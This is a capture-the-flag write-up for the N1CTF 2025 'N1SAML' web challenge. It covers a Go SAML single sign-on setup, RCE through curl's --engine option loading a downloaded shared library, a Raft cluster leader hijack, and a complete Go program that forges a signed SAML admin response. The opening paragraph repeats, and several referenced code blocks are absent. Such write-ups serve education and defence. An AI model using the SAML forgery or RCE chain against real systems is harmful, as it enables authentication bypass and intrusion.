[Web]N1SAML
This is the challenge I had spend 90% of time to do but I didn’t solve this challenge on time, so sad. Basically, this is a group of go(lang) servers to SSO using SAML. This workflow is similar to this:
The service provider is “sp” docker service. The Identity Provider (IDP) is not here, but the config is point to https://exp10it.io/ server.
We can only get the flag at step (7) when SAML assertion is valid and authentication is correct as following code:
The challenge exposed only healthcheck service’s port to internet. To reach the step (1) – the internal SSO service, we should get RCE on healthcheck server. There is a feature on this server that we can make curl command with any argument:
From [this crazy report (https://hackerone.com/rep…
[Web]N1SAML
This is the challenge I had spend 90% of time to do but I didn’t solve this challenge on time, so sad. Basically, this is a group of go(lang) servers to SSO using SAML. This workflow is similar to this:
The service provider is “sp” docker service. The Identity Provider (IDP) is not here, but the config is point to https://exp10it.io/ server.
We can only get the flag at step (7) when SAML assertion is valid and authentication is correct as following code:
The challenge exposed only healthcheck service’s port to internet. To reach the step (1) – the internal SSO service, we should get RCE on healthcheck server. There is a feature on this server that we can make curl command with any argument:
From this crazy report (https://hackerone.com/reports/3293801), we can use --engine option load any shared library on the file system to get RCE.
Firstly, host a HTTP file server to make healthcheck server download our malicious file
Load that shared library
Got RCE
Now that’s the main part. Let me explain this SSO more detail. First, the service provider (sp) and identity provider (IdP) exchange SAML Metadata file, you can see example in idp-metadata.xml file in source code. That file contains those main information: – The certificate, that includes public key. Note that we mainly have two type of public key: +, Signing key: Each server verifies the signature inside each incoming request by using this public key. Note that only the creator of request, which has private key, can generate signature. We can see in the source code, the “sp” service generate secure random public-private key pair by openssl each time server starts.
We can easily get this public key by using prebuilt of github.com/crewjam/saml/samlsp library public api
+, Encryption key: To keep data private, each server can encrypt data by using this public key. Only the receiver, which is the author of private key sequency, can decrypt it. I found that in crewjam/saml library, this key is not mandatory, so we just ignore this.
– The url that handle services:
+, SingleSignOnService: The url of IdP that actually we have to enter our account (that means server which handles authentication)
+, AssertionConsumerService: The url of SP, that using to generate token for normal usage.
+, SingleLogoutService: log out url
– And other minor information such as EncryptionMethod, …
After exchanging this SAML Metadata File, the setup is complete. In this challenge, you can see a random IdP Metadata File store at idp-metadata.xml and random SP Metadata File is generate at startup of sp service.
To authenticate (and get flag), first user go to step (1), that means go to api /whoami of sp service. Then if we didn’t loggin already, we will have redirect SAML Auth request.
This contains random ID and the AssertionConsumerServiceURL (as explain above)
Then we will be redirected to the IdP, in this challenge is https://exp10it.io/sso (step 2 and 3). After successful authentication at SP server (exp10it.io) (step 4), this server will generate SAML user information and sign it with its private key (IdP private key) (step 5). This is example response we will have
The we forward this response to SP server to authenticate (step 6). If server checks that signature is valid by using IdP public key, we will get this server session and get flag (step 7). Since the SP server in this challenge already had IdP Metadata (public key), we couldn’t generate a valid signature one without the private key sequence. Then we mainly have 2 way to exploit this (to create valid IdP response to obtain session):
- Override the metadata value store at kvstore service (that contains public key of IdP service)
- Bypass the signature check of sp service.
The easier one, also the intended solution (I think), is first way. But there is a very big problem. The “metadata” value cannot be overridden if calling through HTTP api
The only way is to flush all the data and create new one
I have researched nearly all day but didn’t find the solution before the contest ends.
Looking at the author writeup, he said “This means that you can join any Raft cluster unauthorizedly with knowledge of peer node information (IP and port), carry out the above attack, ultimately hijack the Leader role, make your malicious node the true Leader, and apply any operations.” (https://exp10it.io/2025/11/breaking-raft-consensus-in-go-n1saml-writeup-for-n1ctf-2025/)
I also had that idea during this contest, but so bad that I also think this won’t work because its config is hardcode. That’s so sad.
Reference to this blog, we have to set leader information and big number to term value to make our malicious raft become leader.
Then run it inside healthcheck service to trigger. Check it:
Using it, we can flush and set our custom metadata key. This key can be generated as same as sp key pair. Now call to /whoami api to start SSO auth (step 1 and 2):
Extract the id request from response and use this script to generate a valid SAML response
package main
import (
"crypto"
"crypto/x509"
b64 "encoding/base64"
"encoding/pem"
"fmt"
"net/url"
"os"
"time"
"github.com/beevik/etree"
"github.com/crewjam/saml"
"github.com/russellhaering/goxmldsig"
"github.com/yosssi/gohtml"
)
func main() {
var id string = "id-....."
// 1. Load private key
keyData, _ := os.ReadFile("sp_new.key")
block, _ := pem.Decode(keyData)
if block == nil {
panic("failed to parse PEM block")
}
var privKey any
var err error
switch block.Type {
case "RSA PRIVATE KEY":
privKey, err = x509.ParsePKCS1PrivateKey(block.Bytes)
case "PRIVATE KEY":
privKey, err = x509.ParsePKCS8PrivateKey(block.Bytes)
default:
panic(fmt.Sprintf("unsupported key type: %s", block.Type))
}
if err != nil {
panic(err)
}
// 2. Load certificate
certPEM, _ := os.ReadFile("sp_new.crt")
certBlock, _ := pem.Decode(certPEM)
cert, err := x509.ParseCertificate(certBlock.Bytes)
if err != nil {
panic(err)
}
// 3. Create SAML assertion
assertion := saml.Assertion{
ID: id,
IssueInstant: saml.TimeNow(),
Version: "2.0",
Issuer: saml.Issuer{
Format: "urn:oasis:names:tc:SAML:2.0:assertion",
Value: "http://{{IP}}/realms/demo",
},
Subject: &saml.Subject{
NameID: &saml.NameID{
Format: saml.PersistentNameIDFormat.Element().Tag,
Value: "user@example.com",
},
},
Conditions: &saml.Conditions{
NotBefore: saml.TimeNow().Add(-time.Minute),
NotOnOrAfter: saml.TimeNow().Add(5 * time.Minute),
},
}
assertion.AttributeStatements = []saml.AttributeStatement{
{
Attributes: []saml.Attribute{
{
Name: "uid",
FriendlyName: "uid",
Values: []saml.AttributeValue{
{Value: "Administrator"},
},
},
{
Name: "mail",
FriendlyName: "mail",
Values: []saml.AttributeValue{
{Value: "admin@nu1l.com"},
},
},
},
},
}
// 4. Marshal assertion into XML
doc := etree.NewDocument()
assertionEl := assertion.Element()
doc.SetRoot(assertionEl)
// 5. Build the signing context
certStore := dsig.TLSCertKeyStore{
Certificate: [][]byte{cert.Raw},
PrivateKey: privKey,
}
ctx := dsig.NewDefaultSigningContext(certStore)
ctx.Hash = crypto.SHA256
assertionEl.CreateAttr("ID", assertion.ID)
response := saml.Response{
ID: id,
IssueInstant: saml.TimeNow(),
Version: "2.0",
Destination: "http://{{ip}}/saml/acs",
Issuer: &saml.Issuer{Value: "http://{{ip}}/realms/demo"},
Status: saml.Status{StatusCode: saml.StatusCode{Value: saml.StatusSuccess}},
InResponseTo: id,
}
responseEl := response.Element()
responseEl.AddChild(assertionEl)
responseEl.CreateAttr("ID", id)
ctx2 := dsig.NewDefaultSigningContext(certStore)
signedResponseEl, err := ctx2.SignEnveloped(responseEl)
// 6. Output signed XML
doc.SetRoot(signedResponseEl)
xml, err := doc.WriteToString()
if err != nil {
panic(err)
}
fmt.Println("=== Signed Assertion ===")
fmt.Println(gohtml.Format(xml))
sEnc := b64.StdEncoding.EncodeToString([]byte(xml))
var result string = EncodeParam(sEnc)
d1 := []byte(result)
err = os.WriteFile("out.txt", d1, 0644)
fmt.Println(err)
}
func EncodeParam(s string) string {
return url.QueryEscape(s)
}
Send it to service provider to obtain admin cookie (step 6)
Using that cookie to get flag